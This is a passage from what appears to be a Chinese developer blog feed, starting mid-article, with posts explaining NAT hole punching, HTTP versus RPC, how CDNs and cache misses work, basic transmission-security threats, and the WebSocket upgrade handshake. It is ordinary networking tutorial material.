器的帮助。假设还是A和B两个局域网内的机子,A内网对应的NAT设备叫NAT_A,B内网里的NAT设备叫NAT_B,和一个第三方服务器server。流程如下。step1和2: A主动去连server,此时A对应的NAT_A就会留下A的内网地址和外网地址的映射关系,server也拿到了A对应的外网IP地址和端口。step3和4: B的操作和A一样,主动连第三方server,NAT_B内留下B的内网地址和外网地址的映射关系,然后server也拿到了B对应的外网IP地址和端口。step5和step6以及step7: 重点来了。此时server发消息给A,让A主动发UDP消息到B的外网IP地址和端口。此时NAT_B收到这个A的UDP数据包时,这时候根据NAT_B的设置不同,导致这时候有可能NAT_B能直接转发数据到B,那此时A和B就通了。但也有可能不通,直接丢包,不过丢包没关系,这个操作的目的是给NAT_A上留下有关B的映射关系。step8和step9以及step10: 跟step5一样熟悉的配方,此时server再发消息给B,让B主动发UDP消息到A的外网IP地址和端口。NAT_B上也留下了关于A到映射关系,这时候由于之前NAT_A上有过关于B的映射关系,此时NAT_A就能正常接受B的数据包,并将其转发给A。到这里A和B就能正常进行数据通信了。这就是所谓的NAT打洞。step11: 注意,之前我们都是用的UDP数据包,目的只是为了在两个局域网的NAT上打个洞出来,实际上大部分应用用的都是TCP连接,所以,这时候我们还需要在A主动向B发起TCP连接。到此,我们就完成了两端之间的通信。这里估计大家会有疑惑。端口已经被udp用过了,TCP再用,那岂不是端口重复占用(address already in use)?其实并不会,端口重复占用的报错常见于两个TCP连接在不使用SO_REUSEADDR的情况下,重复使用了某个IP端口。而UDP和TCP之间却不会报这个错。之所以会有这个错,主要是因为在一个linux内核中,内核收到网络数据时,会通过五元组(传输协议,源IP,目的IP,源端口,目的端口)去唯一确定数据接受者。当五元组都一模一样的时候,内核就不知道该把数据发给谁。而UDP和TCP之间"传输协议"不同,因此五元组也不同,所以也就不会有上面的问题。NAPT还分为好多种类型,上面的nat打洞方案,都能成功吗?关于NAPT,确实还细分为好几种类型,比如完全锥形NAT和限制型NAT啥的,但这并不是本文的重点。所以我就略过了。我们现在常见的都是锥形NAT。上面的打洞方案适用于大部分场景,这其中包括限制最多的端口受限锥形NAT。总结IPV4地址有限,但通过NAT路由器,可以使得整个内网N多台机器,对外只使用一个公网IP,大大节省了IP资源。内网机子主动连接公网IP,中间的NAT会将内网机子的内网IP转换为公网IP,从而实现内网和外网的数据交互。普通的NAT技术,只会修改网络包中的发送端和接收端IP地址,当内网设备较多时,将有可能导致冲突。因此一般都会使用NAPT技术,同时修改发送端和接收端的IP地址和端口。由于NAT的存在,公网IP是无法访问内网服务的,但通过内网穿透技术,就可以让公网IP访问内网服务。一波操作下来,就可以在公司的网络里访问家里的电脑。最后留个问题,有了NAT之后,原本并不富裕的IPv4地址突然就变得非常够用了。那我们为什么还需要IPv6?另外IPv6号称地址多到每粒沙子都能拥有自己的IP地址,那我们还需要NAT吗?
0
0
0
浏览量600
超超

既然有HTTP协议,为什么还要有RPC

我想起了我刚工作的时候,第一次接触RPC协议,当时就很懵,我HTTP协议用的好好的,为什么还要用RPC协议?于是就到网上去搜。不少解释显得非常官方,我相信大家在各种平台上也都看到过,解释了又好像没解释,都在用一个我们不认识的概念去解释另外一个我们不认识的概念,懂的人不需要看,不懂的人看了还是不懂。这种看了,又好像没看的感觉,云里雾里的很难受,我懂。为了避免大家有强烈的审丑疲劳,今天我们来尝试重新换个方式讲一讲。从TCP聊起作为一个程序员,假设我们需要在A电脑的进程发一段数据到B电脑的进程,我们一般会在代码里使用socket进行编程。这时候,我们可选项一般也就TCP和UDP二选一。TCP可靠,UDP不可靠。 除非是马总这种神级程序员(早期QQ大量使用UDP),否则,只要稍微对可靠性有些要求,普通人一般无脑选TCP就对了。类似下面这样。fd = socket(AF_INET,SOCK_STREAM,0);其中SOCK_STREAM,是指使用字节流传输数据,说白了就是TCP协议。在定义了socket之后,我们就可以愉快的对这个socket进行操作,比如用bind()绑定IP端口,用connect()发起建连。在连接建立之后,我们就可以使用send()发送数据,recv()接收数据。光这样一个纯裸的TCP连接,就可以做到收发数据了,那是不是就够了?不行,这么用会有问题。使用纯裸TCP会有什么问题八股文常背,TCP是有三个特点,面向连接、可靠、基于字节流。这三个特点真的概括的非常精辟,这个八股文我们没白背。每个特点展开都能聊一篇文章,而今天我们需要关注的是基于字节流这一点。字节流可以理解为一个双向的通道里流淌的数据,这个数据其实就是我们常说的二进制数据,简单来说就是一大堆 01 串。纯裸TCP收发的这些 01 串之间是没有任何边界的,你根本不知道到哪个地方才算一条完整消息。正因为这个没有任何边界的特点,所以当我们选择使用TCP发送 "夏洛"和"特烦恼" 的时候,接收端收到的就是 "夏洛特烦恼" ,这时候接收端没发区分你是想要表达 "夏洛"+"特烦恼" 还是 "夏洛特"+"烦恼" 。这就是所谓的粘包问题,之前也写过一篇专门的文章聊过这个问题。说这个的目的是为了告诉大家,纯裸TCP是不能直接拿来用的,你需要在这个基础上加入一些自定义的规则,用于区分消息边界。于是我们会把每条要发送的数据都包装一下,比如加入消息头,消息头里写清楚一个完整的包长度是多少,根据这个长度可以继续接收数据,截取出来后它们就是我们真正要传输的消息体。而这里头提到的消息头,还可以放各种东西,比如消息体是否被压缩过和消息体格式之类的,只要上下游都约定好了,互相都认就可以了,这就是所谓的协议。每个使用TCP的项目都可能会定义一套类似这样的协议解析标准,他们可能有区别,但原理都类似。于是基于TCP,就衍生了非常多的协议,比如HTTP和RPC。HTTP和RPC我们回过头来看网络的分层图。TCP是传输层的协议,而基于TCP造出来的HTTP和各类RPC协议,它们都只是定义了不同消息格式的应用层协议而已。HTTP协议(Hyper Text Transfer Protocol),又叫做超文本传输协议。我们用的比较多,平时上网在浏览器上敲个网址就能访问网页,这里用到的就是HTTP协议。而RPC(Remote Procedure Call),又叫做远程过程调用。它本身并不是一个具体的协议,而是一种调用方式。举个例子,我们平时调用一个本地方法就像下面这样。 res = localFunc(req)如果现在这不是个本地方法,而是个远端服务器暴露出来的一个方法remoteFunc,如果我们还能像调用本地方法那样去调用它,这样就可以屏蔽掉一些网络细节,用起来更方便,岂不美哉? res = remoteFunc(req)基于这个思路,大佬们造出了非常多款式的RPC协议,比如比较有名的gRPC,thrift。值得注意的是,虽然大部分RPC协议底层使用TCP,但实际上它们不一定非得使用TCP,改用UDP或者HTTP,其实也可以做到类似的功能。到这里,我们回到文章标题的问题。既然有HTTP协议,为什么还要有RPC?其实,TCP是70年代出来的协议,而HTTP是90年代才开始流行的。而直接使用裸TCP会有问题,可想而知,这中间这么多年有多少自定义的协议,而这里面就有80年代出来的RPC。所以我们该问的不是既然有HTTP协议为什么要有RPC,而是为什么有RPC还要有HTTP协议。那既然有RPC了,为什么还要有HTTP呢?现在电脑上装的各种联网软件,比如xx管家,xx卫士,它们都作为客户端(client) 需要跟服务端(server) 建立连接收发消息,此时都会用到应用层协议,在这种client/server (c/s) 架构下,它们可以使用自家造的RPC协议,因为它只管连自己公司的服务器就ok了。但有个软件不同,浏览器(browser) ,不管是chrome还是IE,它们不仅要能访问自家公司的服务器(server) ,还需要访问其他公司的网站服务器,因此它们需要有个统一的标准,不然大家没法交流。于是,HTTP就是那个时代用于统一 browser/server (b/s) 的协议。也就是说在多年以前,HTTP主要用于b/s架构,而RPC更多用于c/s架构。但现在其实已经没分那么清了,b/s和c/s在慢慢融合。 很多软件同时支持多端,比如某度云盘,既要支持网页版,还要支持手机端和pc端,如果通信协议都用HTTP的话,那服务器只用同一套就够了。而RPC就开始退居幕后,一般用于公司内部集群里,各个微服务之间的通讯。那这么说的话,都用HTTP得了,还用什么RPC?仿佛又回到了文章开头的样子,那这就要从它们之间的区别开始说起。HTTP和RPC有什么区别我们来看看RPC和HTTP区别比较明显的几个点。服务发现首先要向某个服务器发起请求,你得先建立连接,而建立连接的前提是,你得知道IP地址和端口。这个找到服务对应的IP端口的过程,其实就是服务发现。在HTTP中,你知道服务的域名,就可以通过DNS服务去解析得到它背后的IP地址,默认80端口。而RPC的话,就有些区别,一般会有专门的中间服务去保存服务名和IP信息,比如consul或者etcd,甚至是redis。想要访问某个服务,就去这些中间服务去获得IP和端口信息。由于dns也是服务发现的一种,所以也有基于dns去做服务发现的组件,比如CoreDNS。可以看出服务发现这一块,两者是有些区别,但不太能分高低。底层连接形式以主流的HTTP1.1协议为例,其默认在建立底层TCP连接之后会一直保持这个连接(keep alive),之后的请求和响应都会复用这条连接。而RPC协议,也跟HTTP类似,也是通过建立TCP长链接进行数据交互,但不同的地方在于,RPC协议一般还会再建个连接池,在请求量大的时候,建立多条连接放在池内,要发数据的时候就从池里取一条连接出来,用完放回去,下次再复用,可以说非常环保。由于连接池有利于提升网络请求性能,所以不少编程语言的网络库里都会给HTTP加个连接池,比如go就是这么干的。可以看出这一块两者也没太大区别,所以也不是关键。传输的内容基于TCP传输的消息,说到底,无非都是消息头header和消息体body。header是用于标记一些特殊信息,其中最重要的是消息体长度。body则是放我们真正需要传输的内容,而这些内容只能是二进制01串,毕竟计算机只认识这玩意。所以TCP传字符串和数字都问题不大,因为字符串可以转成编码再变成01串,而数字本身也能直接转为二进制。但结构体呢,我们得想个办法将它也转为二进制01串,这样的方案现在也有很多现成的,比如json,protobuf。这个将结构体转为二进制数组的过程就叫序列化,反过来将二进制数组复原成结构体的过程叫反序列化。对于主流的HTTP1.1,虽然它现在叫超文本协议,支持音频视频,但HTTP设计初是用于做网页文本展示的,所以它传的内容以字符串为主。header和body都是如此。在body这块,它使用json来序列化结构体数据。我们可以随便截个图直观看下。可以看到这里面的内容非常多的冗余,显得非常啰嗦。最明显的,像header里的那些信息,其实如果我们约定好头部的第几位是content-type,就不需要每次都真的把"content-type"这个字段都传过来,类似的情况其实在body的json结构里也特别明显。而RPC,因为它定制化程度更高,可以采用体积更小的protobuf或其他序列化协议去保存结构体数据,同时也不需要像HTTP那样考虑各种浏览器行为,比如302重定向跳转啥的。因此性能也会更好一些,这也是在公司内部微服务中抛弃HTTP,选择使用RPC的最主要原因。当然上面说的HTTP,其实特指的是现在主流使用的HTTP1.1,HTTP2在前者的基础上做了很多改进,所以性能可能比很多RPC协议还要好,甚至连gRPC底层都直接用的HTTP2。那么问题又来了。为什么既然有了HTTP2,还要有RPC协议?这个是由于HTTP2是2015年出来的。那时候很多公司内部的RPC协议都已经跑了好些年了,基于历史原因,一般也没必要去换了。总结纯裸TCP是能收发数据,但它是个无边界的数据流,上层需要定义消息格式用于定义消息边界。于是就有了各种协议,HTTP和各类RPC协议就是在TCP之上定义的应用层协议。RPC本质上不算是协议,而是一种调用方式,而像gRPC和thrift这样的具体实现,才是协议,它们是实现了RPC调用的协议。目的是希望程序员能像调用本地方法那样去调用远端的服务方法。同时RPC有很多种实现方式,不一定非得基于TCP协议。从发展历史来说,HTTP主要用于b/s架构,而RPC更多用于c/s架构。但现在其实已经没分那么清了,b/s和c/s在慢慢融合。 很多软件同时支持多端,所以对外一般用HTTP协议,而内部集群的微服务之间则采用RPC协议进行通讯。RPC其实比HTTP出现的要早,且比目前主流的HTTP1.1性能要更好,所以大部分公司内部都还在使用RPC。HTTP2.0在HTTP1.1的基础上做了优化,性能可能比很多RPC协议都要好,但由于是这几年才出来的,所以也不太可能取代掉RPC。最后留个问题吧,大家有没有发现,不管是HTTP还是RPC,它们都有个特点,那就是消息都是客户端请求,服务端响应。客户端没问,服务端肯定就不答,这就有点僵了,但现实中肯定有需要下游主动发送消息给上游的场景,比如打个网页游戏,站在那啥也不操作,怪也会主动攻击我,这种情况该怎么办呢?
0
0
0
浏览量512
超超

用了CDN就一定比不用更快吗?

对于开发同学来说,CDN这个词,既熟悉又陌生。平时搞开发的时候很少需要碰这个,但却总能听到别人提起。我们都听说过它能加速,也大概知道个原因,但是往深了问。用了CDN就一定比不用更快吗?就感觉有些懵了。但没关系,今天我们换个角度重新认识下CDN。CDN是什么对于数字和文本类型的数据,比方说名字和电话号码相关的信息。我们需要有个地方存起来。我们通常会用mysql数据库去存。当我们需要重新将这一数据取出的时候,就需要去读mysql数据库。但因为mysql的数据是存在磁盘上的,单台实例,读性能到差不多5kqps就已经很不错了。看起来还凑合,但对于稍微大一点的系统,就稍微有点捉急了。为了提升点性能,我们在mysql之前再加一层内存做缓存层,比如常说的redis,读数据优先到内存里读,读不到才到mysql里读,大大减少了读mysql的次数。有了这套组合拳,读性能轻松上万qps。好了,到这里,我们说的都是我们平时比较容易接触的开发场景。但如果现在我要处理的,不再是上面提到的文本类数据,而是图片数据。比如,我有一张帅气的照片。就下面这张。每次刷某音听到有人翻唱蔡健雅的《letting go》的时候,我都忍不住想发这张图。并配文"还是忘不了"。那么问题来了。这张图片数据应该存在哪?,又该从哪里读?我们回过头去看mysql和redis的场景,无非就是存储层加缓存层。对于图片这样的文件对象,存储层不太可能再用mysql,应该改用专业的对象存储,比如亚马逊的S3(Amazon Simple Storage Service,注意后面是三个S开头的单词,所以叫s3),或者阿里云的oss(Object Storage Service)。下面的内容,我们就用比较常见的oss去做解释。而缓存层,也不能继续用redis了,需要改成使用CDN(Content Delivery Network,内容分发网络)。可以将CDN简单理解为对象存储对应的缓存层。现在就可以回答上面的提问,对用户来说,这张图片数据存在了对象存储那,当有需要的时候,会从CDN那被读出来。CDN的工作原理有了CDN和对象存储之后,现在我们来看下他们之间是怎么工作的。我们平时看到的图片,可以右键复制查看它的URL。会发现图片的URL长这样。https://cdn.xiaobaidebug.top/1667106197000.png其中前面的cdn.xiaobaidebug.top就是CDN的域名,后面的1667106197000.png是图片的路径名。当我们在浏览器输入这个URL就会发起HTTP GET请求,然后经历以下过程。第一阶段: 你的电脑会先通过DNS协议获得cdn.xiaobaidebug.top这个域名对应的IP。step1和step2:先查看浏览器缓存,再看操作系统里的/etc/hosts缓存,如果都没有,就会去询问最近的DNS服务器(比如你房间里的家用路由器)。最近的DNS服务器上有没有对应的缓存,如果有则返回。step3:如果最近的DNS服务器上没有对应的缓存,就会去查询根域,一级域,二级域,三级域服务器。step4:然后,最近的DNS服务器会得到这个cdn.xiaobaidebug.top域名的别名(CNAME),比如cdn.xiaobaidebug.top.w.kunlunaq.com。kunlunaq.com是阿里CDN专用的DNS调度系统。step5到step7:此时最近的DNS服务器会去请求这个kunlunaq.com,然后返回一个离你最近的IP地址返回给你。第二阶段: 对应上图里的step8。浏览器拿着这个IP去访问cdn节点,然后,cdn节点返回数据。上面第一阶段流程里,提到了很多新的名词,比如CNAME,根域,一级域啥的,它们在之前写的 「DNS中有哪些值得学习的优秀设计」有很详细的描述,如果不了解的话可以去看下。我们知道DNS的目的就是通过域名去获得IP地址。但这只是它的众多功能之一。DNS消息有很多种类型,其中A类型,就是用域名去查域名对应的IP地址。而CNAME类型,则是用域名去查这个域名的别名。对于普通域名,DNS解析后一般就能直接得到域名对应的IP 地址(又叫A类型记录,A指Address)。比如下面,我用dig命令发出DNS请求并打印过程数据。$ dig +trace xiaobaidebug.top ;; ANSWER SECTION: xiaobaidebug.top. 600 IN A 47.102.221.141可以看到xiaobaidebug.top直接解析得到对应的IP地址47.102.221.141。但对于cdn域名,一波查询下来,先得到的却是一条CNAME的记录xx.kunlunaq.com,然后dig这个xx.kunlunaq.com才能得到对应的IP地址。$ dig +trace cdn.xiaobaidebug.top cdn.xiaobaidebug.top. 600 IN CNAME cdn.xiaobaidebug.top.w.kunlunaq.com. $ dig +trace cdn.xiaobaidebug.top.w.kunlunaq.com cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.243 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.241 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.244 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.249 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.248 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.242 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.250 cdn.xiaobaidebug.top.w.kunlunaq.com. 300 IN A 122.228.7.251看到这里,问题就又来了。为什么要加个CNAME那么麻烦?CNAME里指向的,其实是CDN专用的DNS域名服务器,它对整个DNS体系来说,只是其中一台小小的DNS域名服务器,看起来就跟其他域名服务器一样,平平无奇。DNS请求也会正常打入这个服务器里。但当请求真正打到它上面的时候,它的特别之处就体现出来了,当查询请求打入域名服务器时,普通的DNS域名服务器返回域名对应的部分IP就够了,但CDN专用的DNS域名服务器却会要求返回离调用方"最近的"服务器IP。怎么知道哪个服务器IP里调用方最近?可以看到"最近"这个词其实是加了双引号的。CDN专用的DNS域名服务器其实是CDN提供商提供的,比如阿里云当然知道自己的的CDN节点有哪些,以及这些CDN服务器目前的负载情况和响应延时甚至权重啥的,并且也能知道调用方的IP地址是什么,可以通过调用方的IP知道它所属的运营商以及大概所在地,根据条件筛选出最合适的CDN服务器,这就是所谓的"最近"。举个例子。假设地理位置最近的CDN机房流量较多,响应较慢,但地理位置远一些的服务器却能更好的响应当前请求,那按理说可能会选择地理位置远一些的那台CDN服务器。也就是说,选出来的服务器不一定在地理位置最近,但一定是当前最合适的服务器。回源是什么上面的图片URL,是https://cdn域名/图片地址.png的形式。也就是说这张图片是访问CDN拿到的。那么,直接访问对象存储能不能拿到图片数据并展示?比如像下面这样。https://oss域名/图片地址.png这就像问,不走redis,直接从mysql中能不能读取到文本数据并展示一样。当然能。我之前放在博客里的图片就是这么干的。但这样成本更高,这里的成本,可以指性能成本,也可以指调用成本。看下下面这个图。可以看到直接请求oss的费用差不多是通过cdn请求oss的两倍,考虑到家境贫寒,同时也为了让博客获取图片的速度更快,我就接入了CDN。但看到这里,问题又又来了。上面的截图里,红框里有个词叫"回源"。回源是什么?当我们访问https://cdn域名/图片地址.png时,请求会打到cdn服务器上面。但cdn服务器本质上就是一层缓存,并不是数据源,对象存储才是数据源。第一次访问cdn获取某张图片时,大概率在cdn里并没有这张图片的数据,因此需要回到数据源那去取出这份图片数据。然后再放到cdn上。下次再次访问cdn时,只要缓存不过期,就能命中缓存直接返回,这就不需要再回源。于是访问的过程就变成了下面这样。那还有哪些情况会发生回源呢?除了上面提到的cdn上拿不到数据会回源站外,还有cdn上的缓存过期失效了也会导致回源站。另外,就算有缓存,且缓存不过期,也可以通过cdn提供的开放接口来触发主动回源,但这个我们比较少机会能接触到。另外,回源这个事情,其实用户是感知不到的,因为用户去读图片的时候,只能知道自己读到了还是读不到。同样是读到了,还细分为是从cdn那直接读的,还是cdn回源读对象存储之后返回的。那么,我们有办法判断是否发生过回源吗?有。我们接着往下看。怎么判断是否发生回源我们以某里云的对象存储和CDN为例。假设我要请求下面这张图https://cdn.xiaobaidebug.top/image/image-20220404094549469.png为了更方便的查看响应数据的http header,我们可以用上postman。通过GET方法去请求图片数据。然后通过下面的tab切换查看response header信息。此时查看response header下的X-Cache的值是 MISS TCP_MISS。意思是未命中缓存导致CDN回源查oss,拿到数据后再返回。那此时CDN里肯定是有这张图片的缓存了。我们可以试着再执行一次 GET 方法获取图片。X-Cache的值就变成了 HIT TCP_MEM_HIT,这就是命中缓存了。这个是某里云的做法,其他比如腾某云啥的,也都大差不差,几乎都可以从response header里找到相关的信息。用了CDN一定比不用的更快吗?看到这里我们就可以回答文章开头的问题了。如果没有接入CDN,直接访问源站,流程是这样的。但如果接入了CDN,且CDN上没有缓存数据,那就会触发回源。相当于在原来的流程上还多了一层CDN的调用流程。也就是,用了CDN时,未命中CDN缓存导致回源,就会比不用的时候更慢。未命中缓存,可能是cdn里压根就没这一数据,也可能是曾经有这条数据但后来过期失效了。这两种情况都正常,大部分时候并不需要做任何处理。但对于极个别场景,我们可能需要做些优化。比如你们源站数据有大版本更新,就像更换cdn域名啥的,那在上线的那一刻用户全用新cdn域名去请求图片啥的,新CDN节点基本上百分百触发回源,严重的时候甚至可能会拖垮对象存储。这时候你可能需要提前将热点数据筛选出来,利用工具预先请求一波,让CDN加载上热数据缓存。比如某里云上的CDN就有这样的"刷新预热"功能。当然也可以通过灰度发布的模式,先让少量用户体验新功能,让这些用户把cdn"热"起来,然后再逐步放开流量。还有就是曾经有这条数据但后来过期失效了,对于热点数据,可以适当提高一下cdn数据的缓存时间。什么情况下不应该使用CDN?从上面的描述看下来,CDN最大的优势在于,对于来自世界各地的用户,它可以就近分配CDN节点获取数据,并且多次重复获取同一个文件数据的时候,有缓存加速的作用。这对于网页图片这样的场景,是再合适不过了。因为底层用的是对象存储,也就是说,只要是文件对象,比如视频啥的,都可以用这套流程接入cdn做加速。比如平时刷的某音某手短视频就是这么干的。那反过来想想,问题就来了。什么情况下不应该使用CDN?如果你有一个公司内网的服务,并且服务请求的图片等文件不太可能被多次重复调用,这时候其实没必要使用CDN。注意上面两个加粗了的关键点。内网服务,是为了保证你是了解服务的请求来源的,也能拿到对象存储的读权限,并且如果你的对象存储也是公司内部的,那大概率跟你的服务已经在同一个机房里,这已经很近了。接入CDN也享受不到"就近分配CDN节点"所带来的好处。图片或其他文件不太可能被多次重复使用,如果接入了CDN,那你每次去访问CDN获取图片的时候,CDN节点上大概率没有你要的数据,相当于每次都需要回源到对象存储去取一把。那接入CDN相当于给自己加了一层代理,多一层代理,就多一层耗时。关于上面的第二点,如果你需要一个明确的指标去说服自己,那我可以给你一个。从上面的介绍内容,我们知道,可以通过cdn响应的http header中的X-Cache字段,看到一个请求是否触发过回源,统计次数,再除以总的请求数,就能得到回源的比例,比如回源比例高达90%,那还接啥cdn。总结对于文本类数据我们习惯用mysql做存储,redis做缓存。但属于文件类数据,比如视频图片,则需要使用oss等做对象存储,cdn做缓存。用了CDN如果发生回源,那实际上会比不用的时候更慢一些。CDN最大的优势在于,对于来自世界各地的用户,它可以就近分配CDN节点获取数据,并且多次重复获取同一个文件数据的时候,有缓存加速的作用。如果你的服务和对象存储都在内网,并且文件数据也不太会有重复使用的可能性,那其实没必要接入cdn。
0
0
0
浏览量425
超超

数据传输过程中可能遇到的安全问题以及解决方案

前言客户端与服务端进行数据交互时,会有哪些安全问题产生?这些问题应如何解决?本文将以图文的形式讲解上述问题,欢迎各位感兴趣的开发者阅读本文。传输数据时的四个问题在互联网中传输数据时,可能会遭到中间人的攻击,从而拦截数据、伪造数据,接下来就跟大家分享下传输过程中可能发生的四个问题。窃听如下图所示,A向B发送的消息可能会在传输途中被X偷看,这就是窃听。 假冒如下图所示,A向B发送了消息,A以为B已经接收了消息,然后B有可能是X冒充的;反过来,B以为从A那里收到了消息,然后A也有可能是X冒充的。这种问题就叫作“假冒” 篡改A向B发送消息,B收到了A发送的消息,此时B收到的消息可能不是A的原话,如下图所示,在消息的传输途中,内容已经被X更改了。这种行为就叫做“篡改”。除了被第三者篡改外,通信故障导致的数据损坏也可能会使消息内容发生变化。 事后否认如图所示,B收到了A发送的消息,但A作为消息的发送者可能对B抱有恶意,并在事后声称“这不是我发送的消息”。这种情况会导致互联网上的商业交易或合同无法成立。这种行为便是“事后否认”。 用安全技术解决传输中的问题加密技术我们会使用传输内容进行加密的手段,来解决第三者「窃听」的问题。 如下图所示,我们对传输中的数据进行加密,设置可以访问数据的Key,这个Key只有A和B知道,第三者拿到加密后的数据没有Key是无法查看的。 消息认证码与数字签名通常情况下,我们会使用消息认证码或者数字签名解决「假冒」、「篡改」、「事后否认」问题。如下图所示,我们设置一个消息认证码,这个消息码会根据发送数据的内容以及内容长度生成一个随机码和解开这个随机码的key,要查看消息时会通过key来验证,如果消息在传输途中被篡改了那么随机码就会变,使用key就无法解密,那么就很好的防止了上述问题。数字签名的原理与消息认证码的原理大致相同,也能够解决上述问题。
0
0
0
浏览量935
超超

为什么有HTTP协议,还要有websocket协议?

平时我们打开网页,比如购物网站某宝。都是点一下列表商品,跳转一下网页就到了商品详情。从HTTP协议的角度来看,就是点一下网页上的某个按钮,前端发一次HTTP请求,网站返回一次HTTP响应。这种由客户端主动请求,服务器响应的方式也满足大部分网页的功能场景。但有没有发现,这种情况下,服务器从来就不会主动给客户端发一次消息。就像你喜欢的女生从来不会主动找你一样。但如果现在,你在刷网页的时候右下角突然弹出一个小广告,提示你【一个人在家偷偷才能玩哦】。求知,好学,勤奋,这些刻在你DNA里的东西都动起来了。你点开后发现。长相平平无奇的古某提示你"道士9条狗,全服横着走"。影帝某辉老师跟你说"系兄弟就来砍我"。来都来了,你就选了个角色进到了游戏界面里。这时候,上来就是一个小怪,从远处走来,然后疯狂拿木棒子抽你。你全程没点任何一次鼠标。服务器就自动将怪物的移动数据和攻击数据源源不断发给你了。这....太暖心了。感动之余,问题就来了,像这种看起来服务器主动发消息给客户端的场景,是怎么做到的?在真正回答这个问题之前,我们先来聊下一些相关的知识背景。使用HTTP不断轮询其实问题的痛点在于,怎么样才能在用户不做任何操作的情况下,网页能收到消息并发生变更。最常见的解决方案是,网页的前端代码里不断定时发HTTP请求到服务器,服务器收到请求后给客户端响应消息。这其实时一种伪服务器推的形式。它其实并不是服务器主动发消息到客户端,而是客户端自己不断偷偷请求服务器,只是用户无感知而已。用这种方式的场景也有很多,最常见的就是扫码登录。比如某信公众号平台,登录页面二维码出现之后,前端网页根本不知道用户扫没扫,于是不断去向后端服务器询问,看有没有人扫过这个码。而且是以大概1到2秒的间隔去不断发出请求,这样可以保证用户在扫码后能在1到2s内得到及时的反馈,不至于等太久。但这样,会有两个比较明显的问题当你打开F12页面时,你会发现满屏的HTTP请求。虽然很小,但这其实也消耗带宽,同时也会增加下游服务器的负担。最坏情况下,用户在扫码后,需要等个1~2s,正好才触发下一次http请求,然后才跳转页面,用户会感到明显的卡顿。使用起来的体验就是,二维码出现后,手机扫一扫,然后在手机上点个确认,这时候卡顿等个1~2s,页面才跳转。那么问题又来了,有没有更好的解决方案?有,而且实现起来成本还非常低。长轮询我们知道,HTTP请求发出后,一般会给服务器留一定的时间做响应,比如3s,规定时间内没返回,就认为是超时。如果我们的HTTP请求将超时设置的很大,比如30s,在这30s内只要服务器收到了扫码请求,就立马返回给客户端网页。如果超时,那就立马发起下一次请求。这样就减少了HTTP请求的个数,并且由于大部分情况下,用户都会在某个30s的区间内做扫码操作,所以响应也是及时的。比如,某度云网盘就是这么干的。所以你会发现一扫码,手机上点个确认,电脑端网页就秒跳转,体验很好。真一举两得。像这种发起一个请求,在较长时间内等待服务器响应的机制,就是所谓的长训轮机制。我们常用的消息队列RocketMQ中,消费者去取数据时,也用到了这种方式。像这种,在用户不感知的情况下,服务器将数据推送给浏览器的技术,就是所谓的服务器推送技术,它还有个毫不沾边的英文名,comet技术,大家听过就好。上面提到的两种解决方案,本质上,其实还是客户端主动去取数据。对于像扫码登录这样的简单场景还能用用。但如果是网页游戏呢,游戏一般会有大量的数据需要从服务器主动推送到客户端。这就得说下websocket了。websocket是什么我们知道TCP连接的两端,同一时间里,双方都可以主动向对方发送数据。这就是所谓的全双工。而现在使用最广泛的HTTP1.1,也是基于TCP协议的,同一时间里,客户端和服务器只能有一方主动发数据,这就是所谓的半双工。也就是说,好好的全双工TCP,被HTTP用成了半双工。为什么?这是由于HTTP协议设计之初,考虑的是看看网页文本的场景,能做到客户端发起请求再由服务器响应,就够了,根本就没考虑网页游戏这种,客户端和服务器之间都要互相主动发大量数据的场景。所以为了更好的支持这样的场景,我们需要另外一个基于TCP的新协议。于是新的应用层协议websocket就被设计出来了。大家别被这个名字给带偏了。虽然名字带了个socket,但其实socket和websocket之间,就跟雷峰和雷峰塔一样,二者接近毫无关系。怎么建立websocket连接我们平时刷网页,一般都是在浏览器上刷的,一会刷刷图文,这时候用的是HTTP协议,一会打开网页游戏,这时候就得切换成我们新介绍的websocket协议。为了兼容这些使用场景。浏览器在TCP三次握手建立连接之后,都统一使用HTTP协议先进行一次通信。如果此时是普通的HTTP请求,那后续双方就还是老样子继续用普通HTTP协议进行交互,这点没啥疑问。如果这时候是想建立websocket连接,就会在HTTP请求里带上一些特殊的header头。Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: T2a6wZlAwhgQNqruZ2YUyg==\r\n这些header头的意思是,浏览器想升级协议(Connection: Upgrade),并且想升级成websocket协议(Upgrade: websocket)。同时带上一段随机生成的base64码(Sec-WebSocket-Key),发给服务器。如果服务器正好支持升级成websocket协议。就会走websocket握手流程,同时根据客户端生成的base64码,用某个公开的算法变成另一段字符串,放在HTTP响应的 Sec-WebSocket-Accept 头里,同时带上101状态码,发回给浏览器。HTTP/1.1 101 Switching Protocols\r\n Sec-WebSocket-Accept: iBJKv/ALIW2DobfoA4dmr3JHBCY=\r\n Upgrade: websocket\r\n Connection: Upgrade\r\nhttp状态码=200(正常响应)的情况,大家见得多了。101确实不常见,它其实是指协议切换。之后,浏览器也用同样的公开算法将base64码转成另一段字符串,如果这段字符串跟服务器传回来的字符串一致,那验证通过。就这样经历了一来一回两次HTTP握手,websocket就建立完成了,后续双方就可以使用webscoket的数据格式进行通信了。websocket抓包我们可以用wireshark抓个包,实际看下数据包的情况。上面这张图,注意画了红框的第2445行报文,是websocket的第一次握手,意思是发起了一次带有特殊Header的HTTP请求。上面这个图里画了红框的4714行报文,就是服务器在得到第一次握手后,响应的第二次握手,可以看到这也是个HTTP类型的报文,返回的状态码是101。同时可以看到返回的报文header中也带有各种websocket相关的信息,比如Sec-WebSocket-Accept。上面这张图就是全貌了,从截图上的注释可以看出,websocket和HTTP一样都是基于TCP的协议。经历了三次TCP握手之后,利用HTTP协议升级为websocket协议。你在网上可能会看到一种说法:"websocket是基于HTTP的新协议",其实这并不对,因为websocket只有在建立连接时才用到了HTTP,升级完成之后就跟HTTP没有任何关系了。这就好像你喜欢的女生通过你要到了你大学室友的微信,然后他们自己就聊起来了。你能说这个女生是通过你去跟你室友沟通的吗?不能。你跟HTTP一样,都只是个工具人。这就有点"借壳生蛋"的那意思。websocket的消息格式上面提到在完成协议升级之后,两端就会用webscoket的数据格式进行通信。数据包在websocket中被叫做帧。我们来看下它的数据格式长什么样子。这里面字段很多,